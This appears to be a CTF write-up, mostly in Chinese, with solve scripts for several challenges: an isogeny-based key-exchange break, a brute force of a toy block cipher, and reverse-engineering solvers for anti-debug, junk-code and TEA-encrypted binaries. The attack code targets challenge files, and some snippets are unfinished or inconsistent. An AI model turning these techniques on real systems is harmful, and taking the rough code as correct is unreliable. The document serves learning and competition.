phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
Pa, Qa, Pb, Qb = map(E_start, (Pa, Qa, Pb, Qb))
_phi_dom = EllipticCurve(Fp2, [
0,
(191884939246592021710422*ii+96782382528277357218650),
0,
1,
0])
_phi_dom.set_order((p+1)**2, num_checks=0)
phib_Pa, phib_Qa = map(_phi_dom, (phib_Pa, phib_Qa))
P3, Q3 = Pb,Qb
EB, PB, QB = _phi_dom, phib_Pa, phib_Qa
# ===================================
# ===== ATTACK ====================
# ===================================
def RunAttack(num_cores):
return CastryckDecruAttack(E_start, Pa, Qa, EB, PB, QB, two_i, num_cores=num_cores)
if __name__ == '__main__':
if '--parallel' in sys.argv:
# Set number of cores for parallel computation
num_cores = os.cpu_count()
print(f"Performing the attack in parallel using {num_cores} cores")
else:
num_cores = 1
recovered_key = RunAttack(num_cores)
#798424671353
先看Pa、Qa的生成代码
sqrtof2 = Fp2(2).sqrt()
f = x**3 + A0 * x**2 + x
Pa = E0(0)
Qa = E0(0)
Pa_done = False
Qa_done = False
d = 0
for c in range(0, p):
Rx = ii + c
Ry_square = f(ii + c)
if not Ry_square.is_square():
continue
Ra = E0.lift_x(Rx)
Pa = 3**b * Ra
Ta = 2 ** (a - 1) * Pa
if Ta.is_zero():
continue
Tax_plus_3 = Ta.xy()[0] + 3
if Tax_plus_3 == 2 * sqrtof2 or Tax_plus_3 == -2 * sqrtof2:
Pa_done = True
elif Tax_plus_3 == 3 and not Qa_done:
Qa = Pa
Qa_done = True
else:
raise ValueError('Unexcepted order 2 point.')
if Pa_done and Qa_done:
break
assert Pa.order() == 2**a and Qa.order() == 2**a
assert Pa.weil_pairing(Qa, 2**a) ** (2 ** (a - 1)) != 1
显然这里构造了一个结构,满足$$2^{a-1}P_a$$以及$$2^{a-1}Q_a$$的纵坐标为0,并且固定$$2^{a-1}P_a=(0,0)$$,看上去和寻常的生成似乎没有什么区别,只是起到一个固定Pa和Qa的值的作用。题目给的参数很小,第一想法是mitm。
加速的代价是Torsion为2
那么有没有可能通过啥方法去把同源过程分成37个2-Torsion同源过程呢?然后利用Ea作为终点,E0作为起点去碰撞
https://math.stanford.edu/~conrad/249BW16Page/handouts/simplefactor.pdf
找到了maple SEETF的博客,感觉也是类似的问题,mitm思想,给定两条曲线,寻找phi
https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#isogeny-maze
import sys
sys.path.insert(0, './SQISign-SageMath')
from mitm import claw_finding_attack, Fp2 as F
# p = 2^8 * 3^15 - 1
# F.<i> = GF(p^2, modulus=x^2+1)
a = 38
b = 25
p = 2**a * 3**b - 1
Fp = GF(p)
Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2.<ii> = GF(p^2, modulus=x^2+1)
A0 = Fp2(6)
Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)
Ea = EllipticCurve(Fp2,[0,(11731710804095179287932*ii+170364860453198752624563),0,1,0])
print(E0.j_invariant())
print(Ea.j_invariant())
phi = claw_finding_attack(E0, Ea, 2, 38)
for psi in phi.factors():
print(psi.domain().j_invariant())
这里把同源的复合求出来以后,最后合并就可以得到目标phi。在拿到phia之后,由于我们已知Sb,因此把Rb扔进去就可以得到shared_key了。
287496
226914280953112989461428
200914952904314140176227
146320658612870242958555*ii + 108812466522224607127585
170662601515731851482430*ii + 192483809620500153866983
103966022926516600539469*ii + 124970408884212032221998
32981786377070797773278*ii + 93420284374189573550947
51773687196284254733819*ii + 173190286870002968150854
11126429757319530663738*ii + 157694486905192417347047
126327096462636769011888*ii + 100702951751778826298789
161844607783507677930061*ii + 141050791527963308140526
136019233531207266805898*ii + 140789481954614498793945
57730995013901284917284*ii + 25913743763345348689108
71954447816727398529574*ii + 48699512002499315960942
98965272811298232310656*ii + 189706939699334834246145
112878697991751114424553*ii + 221976118462335621710000
133895353668012831931374*ii + 95721813880648792575596
113337394534171873309505*ii + 217967239503410951950663
227654356900362610079555*ii + 87145284473650389023527
88633358622640845693169*ii + 138991800652295671703638
88739743386938460010715*ii + 212995002886947980949066
65839919979929909921958*ii + 54781908976978909922440
21228693837239824645649*ii + 222619775816400199667574
14788357882723301970480*ii + 85068711546438095430608
104549810233532026177645*ii + 56294126731936047452563
211586903300454951905843*ii + 57153810901292645227528
123002487109628694736865*ii + 121659257598462827463385
224664587604590467251926*ii + 143237834411594727529185
76670412152672284098938*ii + 65659932392159215369326
180598081355539914865681*ii + 112773643118695194884940
101330491110084922448496*ii + 104008743602965597596292
219564179799806415383596*ii + 184176723850524673029877
74416721936333844416428*ii + 98582661854743852348940
53262360804829824991580*ii + 30905588630804487621746
189266676655439938485059*ii + 198896432844296085384228
22397967369289880063201*ii + 112216647807658339353845
12862252406191551470752*ii + 1817678912523619594533
122890478488001605054402*ii + 110877518061346822742589
ok现在就差一个复合和求shared_key的脚本,手搓下就结束了
a = 38
b = 25
p = 2**a * 3**b - 1
Fp = GF(p)
Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2.<ii> = GF(p^2, modulus=x^2+1)
A0 = Fp2(6)
Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)
Ea = EllipticCurve(Fp2,[0,(11731710804095179287932*ii+170364860453198752624563),0,1,0])
tl = [287496,
226914280953112989461428,
200914952904314140176227,
146320658612870242958555*ii + 108812466522224607127585,
170662601515731851482430*ii + 192483809620500153866983,
103966022926516600539469*ii + 124970408884212032221998,
32981786377070797773278*ii + 93420284374189573550947,
51773687196284254733819*ii + 173190286870002968150854,
11126429757319530663738*ii + 157694486905192417347047,
126327096462636769011888*ii + 100702951751778826298789,
161844607783507677930061*ii + 141050791527963308140526,
136019233531207266805898*ii + 140789481954614498793945,
57730995013901284917284*ii + 25913743763345348689108,
71954447816727398529574*ii + 48699512002499315960942,
98965272811298232310656*ii + 189706939699334834246145,
112878697991751114424553*ii + 221976118462335621710000,
133895353668012831931374*ii + 95721813880648792575596,
113337394534171873309505*ii + 217967239503410951950663,
227654356900362610079555*ii + 87145284473650389023527,
88633358622640845693169*ii + 138991800652295671703638,
88739743386938460010715*ii + 212995002886947980949066,
65839919979929909921958*ii + 54781908976978909922440,
21228693837239824645649*ii + 222619775816400199667574,
14788357882723301970480*ii + 85068711546438095430608,
104549810233532026177645*ii + 56294126731936047452563,
211586903300454951905843*ii + 57153810901292645227528,
123002487109628694736865*ii + 121659257598462827463385,
224664587604590467251926*ii + 143237834411594727529185,
76670412152672284098938*ii + 65659932392159215369326,
180598081355539914865681*ii + 112773643118695194884940,
101330491110084922448496*ii + 104008743602965597596292,
219564179799806415383596*ii + 184176723850524673029877,
74416721936333844416428*ii + 98582661854743852348940,
53262360804829824991580*ii + 30905588630804487621746,
189266676655439938485059*ii + 198896432844296085384228,
22397967369289880063201*ii + 112216647807658339353845,
12862252406191551470752*ii + 1817678912523619594533,
122890478488001605054402*ii + 110877518061346822742589,
183069265105061546259082*ii + 206939308658202727675321]
E = E0
PHI = []
for i in range(len(tl)-1):
P = E(0).division_points(2)
for j in P[1:]:
phi = E.isogeny(kernel=j, algorithm='factored', model='montgomery', check=False)
E1 = phi.codomain()
if E1.j_invariant() == tl[i+1]:
E = E1
PHI.append(phi)
break
print(len(PHI))
PHIA = (prod(PHI[::-1]))
a = PHIA.codomain()
print(a.j_invariant())
print(Ea.j_invariant())
import hashlib
Sb = 798424671353
Pb = E0(Pb)
Qb = E0(Qb)
Rb = Pb+Sb*Qb
Ea, phia_Pb, phia_Qb = phi_A.codomain(), phi_A(Pb), phi_A(Qb)
phia_Rb = phia_Pb + Sb * phia_Qb
Eba = Ea.isogeny(kernel=phia_Rb, algorithm='factored', model='montgomery', check=False).codomain()
jba = Eba.j_invariant()
h = bytes_to_long(hashlib.sha256(str(jba).encode()).digest())
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788
from Crypto.Util.number import *
print(long_to_bytes(enc^^h))
sym_signin
https://iacr.org/archive/eurocrypt2020/12105368/12105368.pdf
https://dspace.cuni.cz/bitstream/handle/20.500.11956/174254/130334006.pdf?sequence=1&isAllowed=y
maybe可以试试?因为plain是从文件里直接提的,所以可能本身就是由一组数据在加密过程中生成,以至于可以规避掉生日攻击的过程。但是它这个和我找到的几个Slide Attack的结构长的有一丢丢不一样,也不知道这个打法到底可不可行。
总之事已至此 先爆破吧。2^24复杂度,我的烂机子都能稍微跑跑,加下线程估计可以,改成c代码就更不用说了
试着跑跑,本地通了。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#define NUM_THREADS 4
// 前面的函数和变量声明保持不变
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#define ROUND 8192
uint64_t S[16] = {0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd,
0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2};
int P[32] = {0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27,
4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31};
uint64_t S_16bit(uint64_t x) {
uint64_t result = 0;
for (int i = 0; i < 4; i++) {
uint64_t block = (x >> (i * 4)) & 0xF;
uint64_t sbox_result = S[block];
result |= sbox_result << (i * 4);
}
return result;
}
uint64_t S_layer(uint64_t x) {
return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xFFFF);
}
uint64_t key_schedule(uint64_t key) {
return ((key << 31 & 0xFFFFFFFF) + (key << 30 & 0xFFFFFFFF) + key) & 0xFFFFFFFF;
}
uint32_t P_32bit(uint32_t x) {
uint32_t result = 0;
for (int i = 0; i < 32; i++) {
uint8_t bit = (x >> (31 - P[i])) & 1;
result |= bit << (31 - i);
}
return result;
}
uint64_t enc_round(uint64_t message, uint64_t key) {
uint64_t result = message ^ key;
result = S_layer(result);
result = P_32bit(result);
// printf("%llu\n",result);
return result;
}
uint64_t encrypt(uint64_t message, uint64_t key) {
uint64_t ciphertext = message;
for (int i = 0; i < ROUND; i++) {
ciphertext = enc_round(ciphertext, key);
key = key_schedule(key);
}
// printf("%llu\n",key);
ciphertext = S_layer(ciphertext);
ciphertext ^= key;
return ciphertext;
}
uint64_t key_ex(int num) {
int result = 0;
int bit_position = 0;
while (num > 0) {
int original_bits = num & 0b111;
int parity_bit = __builtin_popcount(original_bits) % 2;
result |= (original_bits << (bit_position + 1)) | (parity_bit << bit_position);
num >>= 3;
bit_position += 4;
}
return result;
}
void write_to_binary_file(uint64_t *uint64_list, int length, char *output_file) {
FILE *f = fopen(output_file, "wb");
for (int i = 0; i < length; i++) {
fwrite(&uint64_list[i], sizeof(uint64_t), 1, f);
}
fclose(f);
}
uint64_t *read_from_binary_file(char *input_file, int *length) {
FILE *f = fopen(input_file, "rb");
if (f == NULL) {
printf("Error opening file.\n");
exit(1);
}
fseek(f, 0, SEEK_END);
*length = ftell(f) / sizeof(uint64_t);
rewind(f);
uint64_t *uint64_list = malloc((*length) * sizeof(uint64_t));
fread(uint64_list, sizeof(uint64_t), *length, f);
fclose(f);
return uint64_list;
}
uint64_t *bytes_to_uint64_list(unsigned char *byte_string, int byte_string_length, int fill_value, int *uint64_list_length) {
int remainder = byte_string_length % 4;
int padding_bytes;
if (remainder != 0) {
padding_bytes = 4 - remainder;
if (fill_value != -1) {
unsigned char *filled_byte_string = realloc(byte_string, byte_string_length + padding_bytes);
memset(filled_byte_string + byte_string_length, fill_value, padding_bytes);
byte_string = filled_byte_string;
}
}
*uint64_list_length = byte_string_length / 4;
uint64_t *uint64_list = malloc((*uint64_list_length) * sizeof(uint64_t));
for (int i = 0; i < byte_string_length; i += 4) {
uint64_t number = (byte_string[i] << 24) | (byte_string[i + 1] << 16) | (byte_string[i + 2] << 8) | byte_string[i + 3];
uint64_list[i / 4] = number;
}
return uint64_list;
}
uint64_t l6shad(uint64_t x) {
char x_bytes[3];
x_bytes[0] = (x >> 16) & 0xFF;
x_bytes[1] = (x >> 8) & 0xFF;
x_bytes[2] = x & 0xFF;
char sha256_hash[65];
snprintf(sha256_hash, 65, "%6s", x_bytes);
uint64_t result_int = strtoul(&sha256_hash[58], NULL, 16);
return result_int;
}
struct ThreadData {
uint64_t start_key;
uint64_t end_key;
uint64_t *mycipher;
uint64_t *plain;
};
// 线程函数,每个线程负责一部分密钥空间的搜索
void *brute_force_thread(void *arg) {
struct ThreadData *data = (struct ThreadData *)arg;
for (uint64_t secret_KEY = data->start_key; secret_KEY < data->end_key; secret_KEY++) {
uint64_t *cipher = malloc(sizeof(uint64_t) * 1);
int equal = 1;
for (int i = 0; i < 1; i++) {
cipher[i] = encrypt(data->plain[i], secret_KEY);
if (cipher[i] != data->mycipher[i]) {
equal = 0;
break;
}
}
if (equal) {
printf("Key found: %llu\n", secret_KEY);
// free(cipher);
// exit(0); // 找到密钥后退出线程
}
free(cipher);
}
return NULL;
}
int main() {
uint64_t a = (1<<24)-1;
uint64_t b = 1<<23;
// uint64_t mycipher[] = {340689424, 777257951, 3140295435, 2886654016, 3413772793, 1588908016};
// uint64_t plain[] = {3960651144, 1150250357, 338717842, 469237546, 46441841, 781222929};
u_int64_t plain[]={1952658276};
u_int64_t mycipher[]={1018399591};
pthread_t threads[NUM_THREADS];
struct ThreadData thread_data[NUM_THREADS];
uint64_t key_range = (a - b) / NUM_THREADS; // 将密钥空间均匀分配给每个线程
// 创建多个线程
for (int i = 0; i < NUM_THREADS; i++) {
thread_data[i].start_key = b + i * key_range;
thread_data[i].end_key = (i == NUM_THREADS - 1) ? a : thread_data[i].start_key + key_range;
thread_data[i].mycipher = mycipher;
thread_data[i].plain = plain;
if (pthread_create(&threads[i], NULL, brute_force_thread, (void *)&thread_data[i]) != 0) {
perror("pthread_create failed");
exit(1);
}
}
// 等待所有线程完成
for (int i = 0; i < NUM_THREADS; i++) {
if (pthread_join(threads[i], NULL) != 0) {
perror("pthread_join failed");
exit(1);
}
}
printf("Key not found\n");
return 0;
}
import hashlib
import struct
from Crypto.Util.number import *
S = [0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd,
0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2]
P = [0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27,
4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31]
def S_16bit(x: int) -> int:
result = 0
for i in range(4):
block = (x >> (i * 4)) & 0xF
sbox_result = S[block]
result |= sbox_result << (i * 4)
return result
def S_layer(x: int) -> int:
return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xffff)
def S_16bit_inv(x: int) -> int:
result = 0
for i in range(4):
block = (x >> (i * 4)) & 0xF
sbox_result = S.index(block)
result |= sbox_result << (i * 4)
return result
def S_layer_inv(x: int) -> int:
return (S_16bit_inv(x >> 16) << 16) | S_16bit_inv(x & 0xffff)
def P_32bit(x: int) -> int:
binary_result = format(x, '032b')
permuted_binary = ''.join(binary_result[i] for i in P)
result = int(permuted_binary, 2)
return result
def P_32bit_inverse(x: int) -> int:
binary_result = format(x, '032b')
new_str = ['0']*32
for i in range(len(P)):
new_str[P[i]] = binary_result[i]
return int("".join(new_str), 2)
def key_schedule(key):
return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff
def enc_round(message: int, key: int) -> int:
result = message ^ key
result = S_layer(result)
result = P_32bit(result)
return result
def dec_round(message: int, key: int) -> int:
result = P_32bit_inverse(message)
result = S_layer_inv(result)
msg = result ^ key
return msg
def encrypt(message: int, key: int, ROUND: int) -> int:
ciphertext = message
for _ in range(ROUND):
ciphertext = enc_round(ciphertext, key)
key = key_schedule(key)
# if _ < 10:
# print(key)
#print("enc", ciphertext)
ciphertext = S_layer(ciphertext)
ciphertext ^= key
return ciphertext
def decrypt(cipher: int, key: int, ROUND: int) -> int:
keylist = []
keylist.append(key)
for _ in range(ROUND):
key = key_schedule(key)
keylist.append(key)
# print(keylist[:10])
cipher = cipher ^ keylist[-1]
cipher = S_layer_inv(cipher)
# print("dec", cipher)
for _ in range(ROUND):
key = keylist[-(_+2)]
cipher = dec_round(cipher, key)
return cipher
f = bytes_to_uint32_list(b'd3ct')
print(f)
key = 11047257
x = [1018399591, 2488810702, 3039797263, 4191100757,
1935299768, 1527316259, 205585707, 1006371702]
msg = []
m = encrypt(x[2],11047257,ROUND=8192)
key = 11047257
print(decrypt(m,11047257,ROUND=8192))
msg = b''
for i in range(len(x)):
mesg = decrypt(x[i], key, ROUND=8192)
key = l6shad(key)
msg += (long_to_bytes(mesg)[::-1])
print(msg)
Reverse
RandomVM
逆100多个子函数
纯纯力工活
脚本+人工整理
最后发现还是爆破省脑又省力 输入一共也就12个字节 从头开始爆破 爆破两位字节的时间是20秒左右 patch程序使他输出最终的结果
过程中意外发现程序还有反调试 怪不得调试的时候syscall会调用ptrace
主要脚本如下
from pwn import *
import time
import itertools
context(log_level = "error")
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
ss = (''.join(chars) for chars in itertools.product(seed, repeat=2))
t1 = time.time()
for str in ss:
io = process('./RandomVM1')
#print(str)
flag = 'm3owJumpVmvM'+str
io.sendline(flag)
rc = io.recv()
#print(str,hex(rc[2]))
if rc[0] == 0x9d and rc[1] == 0x6b and rc[2] == 0xa1 and rc[3] == 0x2:
if rc[4] == 0xd7 and rc[5] == 0xed and rc[6] == 0x40 and rc[7] == 0xf6:
if rc[8] == 0xe and rc[9] == 0xae and rc[10] == 0x84:
print(flag)
#exit()
io.close()
t2 = time.time()
print(t2-t1)
其中爆破最开始两个字节比较麻烦 存在好几十种组合满足结果匹配第一个字节,要是爆破3个字节就得大几十分钟了,还是得猜,正好有个m3(乐)比较像正常文字,后续继续爆破发现真是,修改str的位置爆破即可
ezjunk
花指令 tea加密 反调试
拿到tea的key 0x5454,0x4602,0x4477,0x5E5E
[0xB1, 0xCB, 0x06, 0x54, 0xA2, 0x1E, 0xA4, 0xA4, 0xC5, 0x9A, 0x48, 0x34, 0x97, 0x87, 0xD6, 0x53, 0x6F, 0xC0, 0xE0, 0xB8, 0xDB, 0xF2, 0x59, 0x02, 0x82, 0x8D, 0xE3, 0x52, 0x1D, 0x5E, 0x5D, 0x59]
解一下 fakeflag{Is_there_anywhere_else}
翻一下函数列表 0x4016BC 位置的函数也存在花指令,猜测于flag有关,向上交叉引用一下好像是个虚表函数,这里直接在x64里面下断点,程序跑过来了?
有两个花,直接nop一下
//通过dbg动调看出来
//0x4015C9存在检测调试,把IsDebuggerPresent改掉就好了
//0x4016BC会把tea加密之后的结果进行0x20轮计算
#include<stdio.h>
// key=0xe8017300
// key1=0xff58f981
// magic={0x5410,0x4646,0x4444,0x5e6d}
void decode(unsigned int* data,unsigned key,unsigned key1,unsigned int* magic){
unsigned int v7=data[0];
unsigned int cache=0;
unsigned int v6=data[1];
unsigned int cache1=0;
int i=0;
for (i=0;i<=31;++i){
key-=key1;
}
for ( i = 0; i <= 31; ++i )
{
key += key1;
v6 -= (v7 + ((32 * v7) ^ (v7 >> 6))) ^ (magic[(key >> 11) & 3] + key) ^ 0x33;
v7 -= (v6 + ((16 * v6) ^ (v6 >> 5))) ^ (magic[key&3] + key) ^ 0x44;
}
data[0]=v7;
data[1]=v6;
printf("%p %p\n",v6,v7);
}
unsigned int calc(unsigned int data){
if (data&1){
data=data^0x84a6972f;
data=data>>1;
data|=0x80000000;
}else{
data=data>>1;
}
return data;
}
int main(){
unsigned int data[8] = {
0xB6DDB3A9,0x36162C23,0x1889FABF,0x6CE4E73B,0x0A5AF8FC,0x21FF8415,0x44859557,0x2DC227B7
};
int i=0;
for (i=0;i<8;i++){
int j=0;
for (j=0;j<=0x1f;j++){
data[i]=calc(data[i]);
}
}
unsigned int key=0xe8017300;
unsigned int key1=0xff58f981;
unsigned int magic[]={0x5454,0x44^0x4646,0x33^0x4444,0x5e5e};
for (i=0;i<7;i+=2){
decode(&data[i],key,key1,magic);
}
printf("%s\n",data);
}
forest
主逻辑位于0x401A00
0x401C79
输出为正确。
0,1字符串。根据0,1不同进入不同分支, 如果分支不对会遇到int 3或者死循环。只要找到正确的路径即可。
ida_python:
import idc
import struct
base_ea = 0x406030
start_ea = base_ea
g_idx = 0
g_flag = []
flag_block = 'mov eax, 72A668h'
flag_fail = 'int 3'
def get_next_ea(ea, is_zero):
next_ea = 0
value_offset = 0
if is_zero == True:
value_offset = 7
else:
value_offset = 0x1e
value_y = struct.unpack('<I', idc.get_bytes(ea + value_offset + 0x05, 6)[2:])[0]
value_x = struct.unpack('<I', idc.get_bytes(ea + value_offset + 0x10, 6)[2:])[0]
next_ea = base_ea + ((value_y + 17*value_x) * 64)
# print(next_ea)
return next_ea
def check_ea_san(ea):
if ea < 0x406030 or ea > 0x40A86F:
return 0
else:
d0 = idc.generate_disasm_line(ea, 1)
if d0[:len(flag_fail)] == flag_fail:
return -3
else:
ea_0 = get_next_ea(ea, True)
ea_1 = get_next_ea(ea, False)
if ea_0 == ea_1:
return -4
else:
return 1
def determine_path(ea):
ea_0 = get_next_ea(ea, True)
ea_1 = get_next_ea(ea, False)
next_ea = 0
if check_ea_san(ea_0) == 1 and check_ea_san(ea_1) != 1:
next_ea = ea_0
g_flag.append('0')
elif check_ea_san(ea_1) == 1 and check_ea_san(ea_0) != 1:
next_ea = ea_1
g_flag.append('1')
else:
print('[-] Both BAD! Last valid = 0x%08X' % (ea))
print('[>] ea_0 = 0x%08X' % (ea_0))
print('[>] ea_1 = 0x%08X' % (ea_1))
exit(0)
print('[+] next_ea = 0x%08X' % (next_ea))
return next_ea
def do_solve():
ea = start_ea
for i in range(136):
ea = determine_path(ea)
bin_flag = ''.join(g_flag)
flag = ''
for i in range(17):
flag += chr(int(bin_flag[i*8 : i*8+8], 2))
print('d3ctf{%s}'%(flag))
do_solve()